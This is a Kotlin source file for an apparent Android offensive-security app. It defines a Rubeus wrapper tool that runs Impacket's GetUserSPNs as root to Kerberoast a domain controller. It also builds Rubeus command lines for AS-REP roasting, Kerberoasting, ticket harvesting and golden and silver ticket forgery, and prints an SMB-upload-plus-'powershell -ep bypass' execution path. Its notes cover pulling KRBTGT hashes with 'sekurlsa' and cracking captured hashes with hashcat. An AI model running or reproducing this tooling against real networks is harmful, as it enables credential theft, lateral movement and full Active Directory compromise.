package com.optix.android.tools.exploit

import com.optix.android.domain.model.ParamType
import com.optix.android.domain.model.ToolCategory
import com.optix.android.domain.model.ToolEvent
import com.optix.android.domain.model.ToolMetadata
import com.optix.android.domain.model.ToolParam
import com.optix.android.tools.registry.BaseTool
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.isActive
import kotlinx.coroutines.withContext

/**
 * Rubeus Kerberos attack wrapper.
 *
 * Android cannot execute .NET (Rubeus.exe) directly. This tool therefore:
 *  - documents the remote execution path (SMB upload or remote PowerShell on a Windows host), and
 *  - provides a Termux fallback for Kerberoasting via Impacket's GetUserSPNs.py.
 */
data class RubeusResult(
    val attackType: String,
    val target: String,
    val command: String,
    val fallback: String?,
    val notes: List<String>,
)

class RubeusTool : BaseTool() {

    private val requiresTermux: Boolean = true

    override val metadata = ToolMetadata(
        name = "rubeus_termux",
        displayName = "Rubeus (Kerberos)",
        description = "Kerberos attack toolkit — AS-REP roast, Kerberoast, ticket forgery (remote) with Impacket fallback",
        category = ToolCategory.LATERAL_MOVEMENT,
        requiresRoot = true,
        parameters = listOf(
            ToolParam(
                "attack_type", ParamType.ENUM, "Attack to perform",
                defaultValue = "kerberoast",
                enumValues = listOf("asreproast", "kerberoast", "golden_ticket", "silver_ticket", "harvest"),
            ),
            ToolParam("target", ParamType.STRING, "Target DC / domain controller host"),
            ToolParam("username", ParamType.STRING, "Target username (asreproast / kerberoast)", required = false, defaultValue = ""),
            ToolParam("domain", ParamType.STRING, "Active Directory domain (e.g. corp.local)", required = false, defaultValue = ""),
            ToolParam("dc_ip", ParamType.STRING, "Domain controller IP (Impacket fallback)", required = false, defaultValue = ""),
        ),
        chainSuggestions = listOf("bloodhound_termux", "cme_termux"),
    )

    override fun validate(params: Map<String, Any>): List<String> {
        val errors = super.validate(params).toMutableList()
        val attack = param(params, "attack_type") ?: "kerberoast"
        if (attack !in listOf("asreproast", "kerberoast", "golden_ticket", "silver_ticket", "harvest")) {
            errors.add("'attack_type' must be one of asreproast/kerberoast/golden_ticket/silver_ticket/harvest")
        }
        param(params, "target")?.takeIf { it.isNotBlank() }
            ?: errors.add("'target' is required")
        return errors
    }

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val attackType = param(params, "attack_type") ?: "kerberoast"
        val target = paramRequired(params, "target")
        val username = param(params, "username") ?: ""
        val domain = param(params, "domain") ?: ""
        val dcIp = param(params, "dc_ip") ?: ""

        emit(ToolEvent.Log("Preparing Rubeus '$attackType' against $target (Windows/.NET — remote execution)."))
        emit(ToolEvent.Log("Android cannot run Rubeus.exe; use SMB upload or remote PowerShell on a Windows host."))

        val command = buildRubeusCommand(attackType, target, username, domain)
        val fallback = if (attackType == "kerberoast") {
            "Impacket fallback (Termux): python3 -m impacket.examples.GetUserSPNs -dc-ip $dcIp -request ${domain.ifBlank { "" }}/$username"
        } else null

        emit(ToolEvent.Log("▶ Rubeus command (run on Windows host):"))
        emit(ToolEvent.Log("  $command"))
        if (fallback != null) {
            emit(ToolEvent.Log("▶ $fallback"))
            withContext(Dispatchers.IO) {
                try {
                    val args = buildList {
                        add("-dc-ip"); add(dcIp.ifBlank { target })
                        add("-request")
                        if (username.isNotBlank()) add("$domain/$username") else add("$domain/")
                    }
                    shellExecutor?.executeTermuxAsRoot("python3", listOf("-m", "impacket.examples.GetUserSPNs") + args, "impacket", emit)
                } catch (e: Exception) {
                    emit(ToolEvent.Error("Impacket fallback failed: ${e.message}"))
                }
            }
        } else {
            emit(ToolEvent.Log("Remote execution path: smbclient upload Rubeus.exe to the host, then 'powershell -ep bypass -c \"\\path\\Rubeus.exe $attackType\"'"))
        }

        val notes = listOf(
            "Rubeus.exe must be present on the Windows target (SMB upload or already deployed).",
            "For golden/silver tickets you also need the KRBTGT / service hash — harvest via 'sekurlsa' on a compromised host.",
            "Crack captured AS-REP / TGS hashes with hashcat (-m 18200 / -m 13100).",
        )
        notes.forEach { emit(ToolEvent.Log("• $it")) }

        emit(ToolEvent.Result(RubeusResult(attackType, target, command, fallback, notes)))
        emit(ToolEvent.ChainSuggestion("bloodhound_termux", mapOf("target" to target, "domain" to domain)))
        emit(ToolEvent.Done)
    }

    private fun buildRubeusCommand(attackType: String, target: String, username: String, domain: String): String {
        val dom = domain.ifBlank { "DOMAIN" }
        return when (attackType) {
            "asreproast" -> "Rubeus.exe asreproast /user:$username /domain:$dom /dc:$target /format:hashcat /outfile:asrep.txt"
            "kerberoast" -> "Rubeus.exe kerberoast /domain:$dom /dc:$target /outfile:tgs.txt"
            "harvest" -> "Rubeus.exe harvest /interval:30"
            "golden_ticket" -> "Rubeus.exe golden /domain:$dom /dc:$target /user:Administrator /ticket:gold.kirbi"
            else -> "Rubeus.exe silver /domain:$dom /dc:$target /service:host/$target /ticket:silver.kirbi"
        }
    }
}
